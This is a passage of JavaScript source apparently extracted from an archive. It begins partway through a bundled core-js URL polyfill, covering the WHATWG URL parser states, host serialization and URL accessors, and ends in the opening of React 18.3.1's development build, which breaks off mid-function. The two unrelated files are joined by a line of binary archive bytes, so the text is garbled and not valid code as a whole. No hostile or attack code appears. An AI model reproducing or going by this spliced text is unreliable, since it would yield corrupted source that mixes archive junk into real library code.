    } else if (char()) return;
    address[pieceIndex++] = value;
  }
  if (compress !== null) {
    swaps = pieceIndex - compress;
    pieceIndex = 7;
    while (pieceIndex != 0 && swaps > 0) {
      swap = address[pieceIndex];
      address[pieceIndex--] = address[compress + swaps - 1];
      address[compress + --swaps] = swap;
    }
  } else if (pieceIndex != 8) return;
  return address;
};

var findLongestZeroSequence = function (ipv6) {
  var maxIndex = null;
  var maxLength = 1;
  var currStart = null;
  var currLength = 0;
  var index = 0;
  for (; index < 8; index++) {
    if (ipv6[index] !== 0) {
      if (currLength > maxLength) {
        maxIndex = currStart;
        maxLength = currLength;
      }
      currStart = null;
      currLength = 0;
    } else {
      if (currStart === null) currStart = index;
      ++currLength;
    }
  }
  if (currLength > maxLength) {
    maxIndex = currStart;
    maxLength = currLength;
  }
  return maxIndex;
};

var serializeHost = function (host) {
  var result, index, compress, ignore0;
  // ipv4
  if (typeof host == 'number') {
    result = [];
    for (index = 0; index < 4; index++) {
      result.unshift(host % 256);
      host = floor(host / 256);
    } return result.join('.');
  // ipv6
  } else if (typeof host == 'object') {
    result = '';
    compress = findLongestZeroSequence(host);
    for (index = 0; index < 8; index++) {
      if (ignore0 && host[index] === 0) continue;
      if (ignore0) ignore0 = false;
      if (compress === index) {
        result += index ? ':' : '::';
        ignore0 = true;
      } else {
        result += host[index].toString(16);
        if (index < 7) result += ':';
      }
    }
    return '[' + result + ']';
  } return host;
};

var C0ControlPercentEncodeSet = {};
var fragmentPercentEncodeSet = assign({}, C0ControlPercentEncodeSet, {
  ' ': 1, '"': 1, '<': 1, '>': 1, '`': 1
});
var pathPercentEncodeSet = assign({}, fragmentPercentEncodeSet, {
  '#': 1, '?': 1, '{': 1, '}': 1
});
var userinfoPercentEncodeSet = assign({}, pathPercentEncodeSet, {
  '/': 1, ':': 1, ';': 1, '=': 1, '@': 1, '[': 1, '\\': 1, ']': 1, '^': 1, '|': 1
});

var percentEncode = function (char, set) {
  var code = codeAt(char, 0);
  return code > 0x20 && code < 0x7F && !has(set, char) ? char : encodeURIComponent(char);
};

var specialSchemes = {
  ftp: 21,
  file: null,
  http: 80,
  https: 443,
  ws: 80,
  wss: 443
};

var isSpecial = function (url) {
  return has(specialSchemes, url.scheme);
};

var includesCredentials = function (url) {
  return url.username != '' || url.password != '';
};

var cannotHaveUsernamePasswordPort = function (url) {
  return !url.host || url.cannotBeABaseURL || url.scheme == 'file';
};

var isWindowsDriveLetter = function (string, normalized) {
  var second;
  return string.length == 2 && ALPHA.test(string.charAt(0))
    && ((second = string.charAt(1)) == ':' || (!normalized && second == '|'));
};

var startsWithWindowsDriveLetter = function (string) {
  var third;
  return string.length > 1 && isWindowsDriveLetter(string.slice(0, 2)) && (
    string.length == 2 ||
    ((third = string.charAt(2)) === '/' || third === '\\' || third === '?' || third === '#')
  );
};

var shortenURLsPath = function (url) {
  var path = url.path;
  var pathSize = path.length;
  if (pathSize && (url.scheme != 'file' || pathSize != 1 || !isWindowsDriveLetter(path[0], true))) {
    path.pop();
  }
};

var isSingleDot = function (segment) {
  return segment === '.' || segment.toLowerCase() === '%2e';
};

var isDoubleDot = function (segment) {
  segment = segment.toLowerCase();
  return segment === '..' || segment === '%2e.' || segment === '.%2e' || segment === '%2e%2e';
};

// States:
var SCHEME_START = {};
var SCHEME = {};
var NO_SCHEME = {};
var SPECIAL_RELATIVE_OR_AUTHORITY = {};
var PATH_OR_AUTHORITY = {};
var RELATIVE = {};
var RELATIVE_SLASH = {};
var SPECIAL_AUTHORITY_SLASHES = {};
var SPECIAL_AUTHORITY_IGNORE_SLASHES = {};
var AUTHORITY = {};
var HOST = {};
var HOSTNAME = {};
var PORT = {};
var FILE = {};
var FILE_SLASH = {};
var FILE_HOST = {};
var PATH_START = {};
var PATH = {};
var CANNOT_BE_A_BASE_URL_PATH = {};
var QUERY = {};
var FRAGMENT = {};

// eslint-disable-next-line max-statements
var parseURL = function (url, input, stateOverride, base) {
  var state = stateOverride || SCHEME_START;
  var pointer = 0;
  var buffer = '';
  var seenAt = false;
  var seenBracket = false;
  var seenPasswordToken = false;
  var codePoints, char, bufferCodePoints, failure;

  if (!stateOverride) {
    url.scheme = '';
    url.username = '';
    url.password = '';
    url.host = null;
    url.port = null;
    url.path = [];
    url.query = null;
    url.fragment = null;
    url.cannotBeABaseURL = false;
    input = input.replace(LEADING_AND_TRAILING_C0_CONTROL_OR_SPACE, '');
  }

  input = input.replace(TAB_AND_NEW_LINE, '');

  codePoints = arrayFrom(input);

  while (pointer <= codePoints.length) {
    char = codePoints[pointer];
    switch (state) {
      case SCHEME_START:
        if (char && ALPHA.test(char)) {
          buffer += char.toLowerCase();
          state = SCHEME;
        } else if (!stateOverride) {
          state = NO_SCHEME;
          continue;
        } else return INVALID_SCHEME;
        break;

      case SCHEME:
        if (char && (ALPHANUMERIC.test(char) || char == '+' || char == '-' || char == '.')) {
          buffer += char.toLowerCase();
        } else if (char == ':') {
          if (stateOverride && (
            (isSpecial(url) != has(specialSchemes, buffer)) ||
            (buffer == 'file' && (includesCredentials(url) || url.port !== null)) ||
            (url.scheme == 'file' && !url.host)
          )) return;
          url.scheme = buffer;
          if (stateOverride) {
            if (isSpecial(url) && specialSchemes[url.scheme] == url.port) url.port = null;
            return;
          }
          buffer = '';
          if (url.scheme == 'file') {
            state = FILE;
          } else if (isSpecial(url) && base && base.scheme == url.scheme) {
            state = SPECIAL_RELATIVE_OR_AUTHORITY;
          } else if (isSpecial(url)) {
            state = SPECIAL_AUTHORITY_SLASHES;
          } else if (codePoints[pointer + 1] == '/') {
            state = PATH_OR_AUTHORITY;
            pointer++;
          } else {
            url.cannotBeABaseURL = true;
            url.path.push('');
            state = CANNOT_BE_A_BASE_URL_PATH;
          }
        } else if (!stateOverride) {
          buffer = '';
          state = NO_SCHEME;
          pointer = 0;
          continue;
        } else return INVALID_SCHEME;
        break;

      case NO_SCHEME:
        if (!base || (base.cannotBeABaseURL && char != '#')) return INVALID_SCHEME;
        if (base.cannotBeABaseURL && char == '#') {
          url.scheme = base.scheme;
          url.path = base.path.slice();
          url.query = base.query;
          url.fragment = '';
          url.cannotBeABaseURL = true;
          state = FRAGMENT;
          break;
        }
        state = base.scheme == 'file' ? FILE : RELATIVE;
        continue;

      case SPECIAL_RELATIVE_OR_AUTHORITY:
        if (char == '/' && codePoints[pointer + 1] == '/') {
          state = SPECIAL_AUTHORITY_IGNORE_SLASHES;
          pointer++;
        } else {
          state = RELATIVE;
          continue;
        } break;

      case PATH_OR_AUTHORITY:
        if (char == '/') {
          state = AUTHORITY;
          break;
        } else {
          state = PATH;
          continue;
        }

      case RELATIVE:
        url.scheme = base.scheme;
        if (char == EOF) {
          url.username = base.username;
          url.password = base.password;
          url.host = base.host;
          url.port = base.port;
          url.path = base.path.slice();
          url.query = base.query;
        } else if (char == '/' || (char == '\\' && isSpecial(url))) {
          state = RELATIVE_SLASH;
        } else if (char == '?') {
          url.username = base.username;
          url.password = base.password;
          url.host = base.host;
          url.port = base.port;
          url.path = base.path.slice();
          url.query = '';
          state = QUERY;
        } else if (char == '#') {
          url.username = base.username;
          url.password = base.password;
          url.host = base.host;
          url.port = base.port;
          url.path = base.path.slice();
          url.query = base.query;
          url.fragment = '';
          state = FRAGMENT;
        } else {
          url.username = base.username;
          url.password = base.password;
          url.host = base.host;
          url.port = base.port;
          url.path = base.path.slice();
          url.path.pop();
          state = PATH;
          continue;
        } break;

      case RELATIVE_SLASH:
        if (isSpecial(url) && (char == '/' || char == '\\')) {
          state = SPECIAL_AUTHORITY_IGNORE_SLASHES;
        } else if (char == '/') {
          state = AUTHORITY;
        } else {
          url.username = base.username;
          url.password = base.password;
          url.host = base.host;
          url.port = base.port;
          state = PATH;
          continue;
        } break;

      case SPECIAL_AUTHORITY_SLASHES:
        state = SPECIAL_AUTHORITY_IGNORE_SLASHES;
        if (char != '/' || buffer.charAt(pointer + 1) != '/') continue;
        pointer++;
        break;

      case SPECIAL_AUTHORITY_IGNORE_SLASHES:
        if (char != '/' && char != '\\') {
          state = AUTHORITY;
          continue;
        } break;

      case AUTHORITY:
        if (char == '@') {
          if (seenAt) buffer = '%40' + buffer;
          seenAt = true;
          bufferCodePoints = arrayFrom(buffer);
          for (var i = 0; i < bufferCodePoints.length; i++) {
            var codePoint = bufferCodePoints[i];
            if (codePoint == ':' && !seenPasswordToken) {
              seenPasswordToken = true;
              continue;
            }
            var encodedCodePoints = percentEncode(codePoint, userinfoPercentEncodeSet);
            if (seenPasswordToken) url.password += encodedCodePoints;
            else url.username += encodedCodePoints;
          }
          buffer = '';
        } else if (
          char == EOF || char == '/' || char == '?' || char == '#' ||
          (char == '\\' && isSpecial(url))
        ) {
          if (seenAt && buffer == '') return INVALID_AUTHORITY;
          pointer -= arrayFrom(buffer).length + 1;
          buffer = '';
          state = HOST;
        } else buffer += char;
        break;

      case HOST:
      case HOSTNAME:
        if (stateOverride && url.scheme == 'file') {
          state = FILE_HOST;
          continue;
        } else if (char == ':' && !seenBracket) {
          if (buffer == '') return INVALID_HOST;
          failure = parseHost(url, buffer);
          if (failure) return failure;
          buffer = '';
          state = PORT;
          if (stateOverride == HOSTNAME) return;
        } else if (
          char == EOF || char == '/' || char == '?' || char == '#' ||
          (char == '\\' && isSpecial(url))
        ) {
          if (isSpecial(url) && buffer == '') return INVALID_HOST;
          if (stateOverride && buffer == '' && (includesCredentials(url) || url.port !== null)) return;
          failure = parseHost(url, buffer);
          if (failure) return failure;
          buffer = '';
          state = PATH_START;
          if (stateOverride) return;
          continue;
        } else {
          if (char == '[') seenBracket = true;
          else if (char == ']') seenBracket = false;
          buffer += char;
        } break;

      case PORT:
        if (DIGIT.test(char)) {
          buffer += char;
        } else if (
          char == EOF || char == '/' || char == '?' || char == '#' ||
          (char == '\\' && isSpecial(url)) ||
          stateOverride
        ) {
          if (buffer != '') {
            var port = parseInt(buffer, 10);
            if (port > 0xFFFF) return INVALID_PORT;
            url.port = (isSpecial(url) && port === specialSchemes[url.scheme]) ? null : port;
            buffer = '';
          }
          if (stateOverride) return;
          state = PATH_START;
          continue;
        } else return INVALID_PORT;
        break;

      case FILE:
        url.scheme = 'file';
        if (char == '/' || char == '\\') state = FILE_SLASH;
        else if (base && base.scheme == 'file') {
          if (char == EOF) {
            url.host = base.host;
            url.path = base.path.slice();
            url.query = base.query;
          } else if (char == '?') {
            url.host = base.host;
            url.path = base.path.slice();
            url.query = '';
            state = QUERY;
          } else if (char == '#') {
            url.host = base.host;
            url.path = base.path.slice();
            url.query = base.query;
            url.fragment = '';
            state = FRAGMENT;
          } else {
            if (!startsWithWindowsDriveLetter(codePoints.slice(pointer).join(''))) {
              url.host = base.host;
              url.path = base.path.slice();
              shortenURLsPath(url);
            }
            state = PATH;
            continue;
          }
        } else {
          state = PATH;
          continue;
        } break;

      case FILE_SLASH:
        if (char == '/' || char == '\\') {
          state = FILE_HOST;
          break;
        }
        if (base && base.scheme == 'file' && !startsWithWindowsDriveLetter(codePoints.slice(pointer).join(''))) {
          if (isWindowsDriveLetter(base.path[0], true)) url.path.push(base.path[0]);
          else url.host = base.host;
        }
        state = PATH;
        continue;

      case FILE_HOST:
        if (char == EOF || char == '/' || char == '\\' || char == '?' || char == '#') {
          if (!stateOverride && isWindowsDriveLetter(buffer)) {
            state = PATH;
          } else if (buffer == '') {
            url.host = '';
            if (stateOverride) return;
            state = PATH_START;
          } else {
            failure = parseHost(url, buffer);
            if (failure) return failure;
            if (url.host == 'localhost') url.host = '';
            if (stateOverride) return;
            buffer = '';
            state = PATH_START;
          } continue;
        } else buffer += char;
        break;

      case PATH_START:
        if (isSpecial(url)) {
          state = PATH;
          if (char != '/' && char != '\\') continue;
        } else if (!stateOverride && char == '?') {
          url.query = '';
          state = QUERY;
        } else if (!stateOverride && char == '#') {
          url.fragment = '';
          state = FRAGMENT;
        } else if (char != EOF) {
          state = PATH;
          if (char != '/') continue;
        } break;

      case PATH:
        if (
          char == EOF || char == '/' ||
          (char == '\\' && isSpecial(url)) ||
          (!stateOverride && (char == '?' || char == '#'))
        ) {
          if (isDoubleDot(buffer)) {
            shortenURLsPath(url);
            if (char != '/' && !(char == '\\' && isSpecial(url))) {
              url.path.push('');
            }
          } else if (isSingleDot(buffer)) {
            if (char != '/' && !(char == '\\' && isSpecial(url))) {
              url.path.push('');
            }
          } else {
            if (url.scheme == 'file' && !url.path.length && isWindowsDriveLetter(buffer)) {
              if (url.host) url.host = '';
              buffer = buffer.charAt(0) + ':'; // normalize windows drive letter
            }
            url.path.push(buffer);
          }
          buffer = '';
          if (url.scheme == 'file' && (char == EOF || char == '?' || char == '#')) {
            while (url.path.length > 1 && url.path[0] === '') {
              url.path.shift();
            }
          }
          if (char == '?') {
            url.query = '';
            state = QUERY;
          } else if (char == '#') {
            url.fragment = '';
            state = FRAGMENT;
          }
        } else {
          buffer += percentEncode(char, pathPercentEncodeSet);
        } break;

      case CANNOT_BE_A_BASE_URL_PATH:
        if (char == '?') {
          url.query = '';
          state = QUERY;
        } else if (char == '#') {
          url.fragment = '';
          state = FRAGMENT;
        } else if (char != EOF) {
          url.path[0] += percentEncode(char, C0ControlPercentEncodeSet);
        } break;

      case QUERY:
        if (!stateOverride && char == '#') {
          url.fragment = '';
          state = FRAGMENT;
        } else if (char != EOF) {
          if (char == "'" && isSpecial(url)) url.query += '%27';
          else if (char == '#') url.query += '%23';
          else url.query += percentEncode(char, C0ControlPercentEncodeSet);
        } break;

      case FRAGMENT:
        if (char != EOF) url.fragment += percentEncode(char, fragmentPercentEncodeSet);
        break;
    }

    pointer++;
  }
};

// `URL` constructor
// https://url.spec.whatwg.org/#url-class
var URLConstructor = function URL(url /* , base */) {
  var that = anInstance(this, URLConstructor, 'URL');
  var base = arguments.length > 1 ? arguments[1] : undefined;
  var urlString = String(url);
  var state = setInternalState(that, { type: 'URL' });
  var baseState, failure;
  if (base !== undefined) {
    if (base instanceof URLConstructor) baseState = getInternalURLState(base);
    else {
      failure = parseURL(baseState = {}, String(base));
      if (failure) throw TypeError(failure);
    }
  }
  failure = parseURL(state, urlString, null, baseState);
  if (failure) throw TypeError(failure);
  var searchParams = state.searchParams = new URLSearchParams();
  var searchParamsState = getInternalSearchParamsState(searchParams);
  searchParamsState.updateSearchParams(state.query);
  searchParamsState.updateURL = function () {
    state.query = String(searchParams) || null;
  };
  if (!DESCRIPTORS) {
    that.href = serializeURL.call(that);
    that.origin = getOrigin.call(that);
    that.protocol = getProtocol.call(that);
    that.username = getUsername.call(that);
    that.password = getPassword.call(that);
    that.host = getHost.call(that);
    that.hostname = getHostname.call(that);
    that.port = getPort.call(that);
    that.pathname = getPathname.call(that);
    that.search = getSearch.call(that);
    that.searchParams = getSearchParams.call(that);
    that.hash = getHash.call(that);
  }
};

var URLPrototype = URLConstructor.prototype;

var serializeURL = function () {
  var url = getInternalURLState(this);
  var scheme = url.scheme;
  var username = url.username;
  var password = url.password;
  var host = url.host;
  var port = url.port;
  var path = url.path;
  var query = url.query;
  var fragment = url.fragment;
  var output = scheme + ':';
  if (host !== null) {
    output += '//';
    if (includesCredentials(url)) {
      output += username + (password ? ':' + password : '') + '@';
    }
    output += serializeHost(host);
    if (port !== null) output += ':' + port;
  } else if (scheme == 'file') output += '//';
  output += url.cannotBeABaseURL ? path[0] : path.length ? '/' + path.join('/') : '';
  if (query !== null) output += '?' + query;
  if (fragment !== null) output += '#' + fragment;
  return output;
};

var getOrigin = function () {
  var url = getInternalURLState(this);
  var scheme = url.scheme;
  var port = url.port;
  if (scheme == 'blob') try {
    return new URL(scheme.path[0]).origin;
  } catch (error) {
    return 'null';
  }
  if (scheme == 'file' || !isSpecial(url)) return 'null';
  return scheme + '://' + serializeHost(url.host) + (port !== null ? ':' + port : '');
};

var getProtocol = function () {
  return getInternalURLState(this).scheme + ':';
};

var getUsername = function () {
  return getInternalURLState(this).username;
};

var getPassword = function () {
  return getInternalURLState(this).password;
};

var getHost = function () {
  var url = getInternalURLState(this);
  var host = url.host;
  var port = url.port;
  return host === null ? ''
    : port === null ? serializeHost(host)
    : serializeHost(host) + ':' + port;
};

var getHostname = function () {
  var host = getInternalURLState(this).host;
  return host === null ? '' : serializeHost(host);
};

var getPort = function () {
  var port = getInternalURLState(this).port;
  return port === null ? '' : String(port);
};

var getPathname = function () {
  var url = getInternalURLState(this);
  var path = url.path;
  return url.cannotBeABaseURL ? path[0] : path.length ? '/' + path.join('/') : '';
};

var getSearch = function () {
  var query = getInternalURLState(this).query;
  return query ? '?' + query : '';
};

var getSearchParams = function () {
  return getInternalURLState(this).searchParams;
};

var getHash = function () {
  var fragment = getInternalURLState(this).fragment;
  return fragment ? '#' + fragment : '';
};

var accessorDescriptor = function (getter, setter) {
  return { get: getter, set: setter, configurable: true, enumerable: true };
};

if (DESCRIPTORS) {
  defineProperties(URLPrototype, {
    // `URL.prototype.href` accessors pair
    // https://url.spec.whatwg.org/#dom-url-href
    href: accessorDescriptor(serializeURL, function (href) {
      var url = getInternalURLState(this);
      var urlString = String(href);
      var failure = parseURL(url, urlString);
      if (failure) throw TypeError(failure);
      getInternalSearchParamsState(url.searchParams).updateSearchParams(url.query);
    }),
    // `URL.prototype.origin` getter
    // https://url.spec.whatwg.org/#dom-url-origin
    origin: accessorDescriptor(getOrigin),
    // `URL.prototype.protocol` accessors pair
    // https://url.spec.whatwg.org/#dom-url-protocol
    protocol: accessorDescriptor(getProtocol, function (protocol) {
      var url = getInternalURLState(this);
      parseURL(url, String(protocol) + ':', SCHEME_START);
    }),
    // `URL.prototype.username` accessors pair
    // https://url.spec.whatwg.org/#dom-url-username
    username: accessorDescriptor(getUsername, function (username) {
      var url = getInternalURLState(this);
      var codePoints = arrayFrom(String(username));
      if (cannotHaveUsernamePasswordPort(url)) return;
      url.username = '';
      for (var i = 0; i < codePoints.length; i++) {
        url.username += percentEncode(codePoints[i], userinfoPercentEncodeSet);
      }
    }),
    // `URL.prototype.password` accessors pair
    // https://url.spec.whatwg.org/#dom-url-password
    password: accessorDescriptor(getPassword, function (password) {
      var url = getInternalURLState(this);
      var codePoints = arrayFrom(String(password));
      if (cannotHaveUsernamePasswordPort(url)) return;
      url.password = '';
      for (var i = 0; i < codePoints.length; i++) {
        url.password += percentEncode(codePoints[i], userinfoPercentEncodeSet);
      }
    }),
    // `URL.prototype.host` accessors pair
    // https://url.spec.whatwg.org/#dom-url-host
    host: accessorDescriptor(getHost, function (host) {
      var url = getInternalURLState(this);
      if (url.cannotBeABaseURL) return;
      parseURL(url, String(host), HOST);
    }),
    // `URL.prototype.hostname` accessors pair
    // https://url.spec.whatwg.org/#dom-url-hostname
    hostname: accessorDescriptor(getHostname, function (hostname) {
      var url = getInternalURLState(this);
      if (url.cannotBeABaseURL) return;
      parseURL(url, String(hostname), HOSTNAME);
    }),
    // `URL.prototype.port` accessors pair
    // https://url.spec.whatwg.org/#dom-url-port
    port: accessorDescriptor(getPort, function (port) {
      var url = getInternalURLState(this);
      if (cannotHaveUsernamePasswordPort(url)) return;
      port = String(port);
      if (port == '') url.port = null;
      else parseURL(url, port, PORT);
    }),
    // `URL.prototype.pathname` accessors pair
    // https://url.spec.whatwg.org/#dom-url-pathname
    pathname: accessorDescriptor(getPathname, function (pathname) {
      var url = getInternalURLState(this);
      if (url.cannotBeABaseURL) return;
      url.path = [];
      parseURL(url, pathname + '', PATH_START);
    }),
    // `URL.prototype.search` accessors pair
    // https://url.spec.whatwg.org/#dom-url-search
    search: accessorDescriptor(getSearch, function (search) {
      var url = getInternalURLState(this);
      search = String(search);
      if (search == '') {
        url.query = null;
      } else {
        if ('?' == search.charAt(0)) search = search.slice(1);
        url.query = '';
        parseURL(url, search, QUERY);
      }
      getInternalSearchParamsState(url.searchParams).updateSearchParams(url.query);
    }),
    // `URL.prototype.searchParams` getter
    // https://url.spec.whatwg.org/#dom-url-searchparams
    searchParams: accessorDescriptor(getSearchParams),
    // `URL.prototype.hash` accessors pair
    // https://url.spec.whatwg.org/#dom-url-hash
    hash: accessorDescriptor(getHash, function (hash) {
      var url = getInternalURLState(this);
      hash = String(hash);
      if (hash == '') {
        url.fragment = null;
        return;
      }
      if ('#' == hash.charAt(0)) hash = hash.slice(1);
      url.fragment = '';
      parseURL(url, hash, FRAGMENT);
    })
  });
}

// `URL.prototype.toJSON` method
// https://url.spec.whatwg.org/#dom-url-tojson
redefine(URLPrototype, 'toJSON', function toJSON() {
  return serializeURL.call(this);
}, { enumerable: true });

// `URL.prototype.toString` method
// https://url.spec.whatwg.org/#URL-stringification-behavior
redefine(URLPrototype, 'toString', function toString() {
  return serializeURL.call(this);
}, { enumerable: true });

if (NativeURL) {
  var nativeCreateObjectURL = NativeURL.createObjectURL;
  var nativeRevokeObjectURL = NativeURL.revokeObjectURL;
  // `URL.createObjectURL` method
  // https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL
  // eslint-disable-next-line no-unused-vars
  if (nativeCreateObjectURL) redefine(URLConstructor, 'createObjectURL', function createObjectURL(blob) {
    return nativeCreateObjectURL.apply(NativeURL, arguments);
  });
  // `URL.revokeObjectURL` method
  // https://developer.mozilla.org/en-US/docs/Web/API/URL/revokeObjectURL
  // eslint-disable-next-line no-unused-vars
  if (nativeRevokeObjectURL) redefine(URLConstructor, 'revokeObjectURL', function revokeObjectURL(url) {
    return nativeRevokeObjectURL.apply(NativeURL, arguments);
  });
}

setToStringTag(URLConstructor, 'URL');

$({ global: true, forced: !USE_NATIVE_URL, sham: !DESCRIPTORS }, {
  URL: URLConstructor
});

},{"../internals/an-instance":4,"../internals/array-from":6,"../internals/descriptors":18,"../internals/export":21,"../internals/global":27,"../internals/has":28,"../internals/internal-state":34,"../internals/native-url":42,"../internals/object-assign":44,"../internals/object-define-properties":46,"../internals/redefine":59,"../internals/set-to-string-tag":62,"../internals/string-multibyte":66,"../internals/string-punycode-to-ascii":67,"../modules/es.string.iterator":79,"../modules/web.url-search-params":80}],82:[function(require,module,exports){
'use strict';
var $ = require('../internals/export');

// `URL.prototype.toJSON` method
// https://url.spec.whatwg.org/#dom-url-tojson
$({ target: 'URL', proto: true, enumerable: true }, {
  toJSON: function toJSON() {
    return URL.prototype.toString.call(this);
  }
});

},{"../internals/export":21}],83:[function(require,module,exports){
require('../modules/web.url');
require('../modules/web.url.to-json');
require('../modules/web.url-search-params');
var path = require('../internals/path');

module.exports = path.URL;

},{"../internals/path":57,"../modules/web.url":81,"../modules/web.url-search-params":80,"../modules/web.url.to-json":82}]},{},[83]);
PKGfd[z���k�k�react.jsnu�[���/**
 * @license React
 * react.development.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */
(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
  typeof define === 'function' && define.amd ? define(['exports'], factory) :
  (global = global || self, factory(global.React = {}));
}(this, (function (exports) { 'use strict';

  var ReactVersion = '18.3.1';

  // ATTENTION
  // When adding new symbols to this file,
  // Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'
  // The Symbol used to tag the ReactElement-like types.
  var REACT_ELEMENT_TYPE = Symbol.for('react.element');
  var REACT_PORTAL_TYPE = Symbol.for('react.portal');
  var REACT_FRAGMENT_TYPE = Symbol.for('react.fragment');
  var REACT_STRICT_MODE_TYPE = Symbol.for('react.strict_mode');
  var REACT_PROFILER_TYPE = Symbol.for('react.profiler');
  var REACT_PROVIDER_TYPE = Symbol.for('react.provider');
  var REACT_CONTEXT_TYPE = Symbol.for('react.context');
  var REACT_FORWARD_REF_TYPE = Symbol.for('react.forward_ref');
  var REACT_SUSPENSE_TYPE = Symbol.for('react.suspense');
  var REACT_SUSPENSE_LIST_TYPE = Symbol.for('react.suspense_list');
  var REACT_MEMO_TYPE = Symbol.for('react.memo');
  var REACT_LAZY_TYPE = Symbol.for('react.lazy');
  var REACT_OFFSCREEN_TYPE = Symbol.for('react.offscreen');
  var MAYBE_ITERATOR_SYMBOL = Symbol.iterator;
  var FAUX_ITERATOR_SYMBOL = '@@iterator';
  function getIteratorFn(maybeIterable) {
    if (maybeIterable === null || typeof maybeIterable !== 'object') {
      return null;
    }

    var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];

    if (typeof maybeIterator === 'function') {
      return maybeIterator;
    }

    return null;
  }

  /**
   * Keeps track of the current dispatcher.
   */
  var ReactCurrentDispatcher = {
    /**
     * @internal
     * @type {ReactComponent}
     */
    current: null
  };

  /**
   * Keeps track of the current batch's configuration such as how long an update
   * should suspend for if it needs to.
   */
  var ReactCurrentBatchConfig = {
    transition: null
  };

  var ReactCurrentActQueue = {
    current: null,
    // Used to reproduce behavior of `batchedUpdates` in legacy mode.
    isBatchingLegacy: false,
    didScheduleLegacyUpdate: false
  };

  /**
   * Keeps track of the current owner.
   *
   * The current owner is the component who should own any components that are
   * currently being constructed.
   */
  var ReactCurrentOwner = {
    /**
     * @internal
     * @type {ReactComponent}
     */
    current: null
  };

  var ReactDebugCurrentFrame = {};
  var currentExtraStackFrame = null;
  function setExtraStackFrame(stack) {
    {
      currentExtraStackFrame = stack;
    }
  }

  {
    ReactDebugCurrentFrame.setExtraStackFrame = function (stack) {
      {
        currentExtraStackFrame = stack;
      }
    }; // Stack implementation injected by the current renderer.


    ReactDebugCurrentFrame.getCurrentStack = null;

    ReactDebugCurrentFrame.getStackAddendum = function () {
      var stack = ''; // Add an extra top frame while an element is being validated

      if (currentExtraStackFrame) {
        stack += currentExtraStackFrame;
      } // Delegate to the injected renderer-specific implementation


      var impl = ReactDebugCurrentFrame.getCurrentStack;

      if (impl) {
        stack += impl() || '';
      }

      return stack;
    };
  }

  // -----------------------------------------------------------------------------

  var enableScopeAPI = false; // Experimental Create Event Handle API.
  var enableCacheElement = false;
  var enableTransitionTracing = false; // No known bugs, but needs performance testing

  var enableLegacyHidden = false; // Enables unstable_avoidThisFallback feature in Fiber
  // stuff. Intended to enable React core members to more easily debug scheduling
  // issues in DEV builds.

  var enableDebugTracing = false; // Track which Fiber(s) schedule render work.

  var ReactSharedInternals = {
    ReactCurrentDispatcher: ReactCurrentDispatcher,
    ReactCurrentBatchConfig: ReactCurrentBatchConfig,
    ReactCurrentOwner: ReactCurrentOwner
  };

  {
    ReactSharedInternals.ReactDebugCurrentFrame = ReactDebugCurrentFrame;
    ReactSharedInternals.ReactCurrentActQueue = ReactCurrentActQueue;
  }

  // by calls to these methods by a Babel plugin.
  //
  // In PROD (or in packages without access to React internals),
  // they are left as they are instead.

  function warn(format) {
    {
      {
        for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
          args[_key - 1] = arguments[_key];
        }

        printWarning('warn', format, args);
      }
    }
  }
  function error(format) {
    {
      {
        for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
          args[_key2 - 1] = arguments[_key2];
        }

        printWarning('error', format, args);
      }
    }
  }

  function printWarning(level, format, args) {
    // When changing this logic, you might want to also
    // update consoleWithStackDev.www.js as well.
    {
      var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;
      var stack = ReactDebugCurrentFrame.getStackAddendum();

      if (stack !== '') {
        format += '%s';
        args = args.concat([stack]);
      } // eslint-disable-next-line react-internal/safe-string-coercion


      var argsWithFormat = args.map(function (item) {
        return String(item);
      }); // Careful: RN currently depends on this prefix

      argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it
      // breaks IE9: https://github.com/facebook/react/issues/13610
      // eslint-disable-next-line react-internal/no-production-logging

      Function.prototype.apply.call(console[level], console, argsWithFormat);
    }
  }

  var didWarnStateUpdateForUnmountedComponent = {};

  function warnNoop(publicInstance, callerName) {
    {
      var _constructor = publicInstance.constructor;
      var componentName = _constructor && (_constructor.displayName || _constructor.name) || 'ReactClass';
      var warningKey = componentName + "." + callerName;

      if (didWarnStateUpdateForUnmountedComponent[warningKey]) {
        return;
      }

      error("Can't call %s on a component that is not yet mounted. " + 'This is a no-op, but it might indicate a bug in your application. ' + 'Instead, assign to `this.state` directly or define a `state = {};` ' + 'class property with the desired state in the %s component.', callerName, componentName);

      didWarnStateUpdateForUnmountedComponent[warningKey] = true;
    }
  }
  /**
   * This is the abstract API for an update queue.
   */


  var ReactNoopUpdateQueue = {
    /**
     * Checks whether or not this composite component is mounted.
     * @param {ReactClass} publicInstance The instance we want to test.
     * @return {boolean} True if mounted, false otherwise.
     * @protected
     * @final
     */
    isMounted: function (publicInstance) {
      return false;
    },

    /**
     * Forces an update. This should only be invoked when it is known with
     * certainty that we are **not** in a DOM transaction.
     *
     * You may want to call this when you know that some deeper aspect of the
     * component's state has changed but `setState` was not called.
     *
     * This will not invoke `shouldComponentUpdate`, but it will invoke
     * `componentWillUpdate` and `componentDidUpdate`.
     *
     * @param {ReactClass} publicInstance The instance that should rerender.
     * @param {?function} callback Called after component is updated.
     * @param {?string} callerName name of the calling function in the public API.
     * @internal
     */
    enqueueForceUpdate: function (publicInstance, callback, callerName) {
      warnNoop(publicInstance, 'forceUpdate');
    },

    /**
     * Replaces all of the state. Always use this or `setState` to mutate state.
     * You should treat `this.state` as immutable.
     *
     * There is no guarantee that `this.state` will be immediately updated, so
     * accessing `this.state` after calling this method may return the old value.
     *
     * @param {ReactClass} publicInstance The instance that should rerender.
     * @param {object} completeState Next state.
     * @param {?function} callback Called after component is updated.
     * @param {?string} callerName name of the calling function in the public API.
     * @internal
     */
    enqueueReplaceState: function (publicInstance, completeState, callback, callerName) {
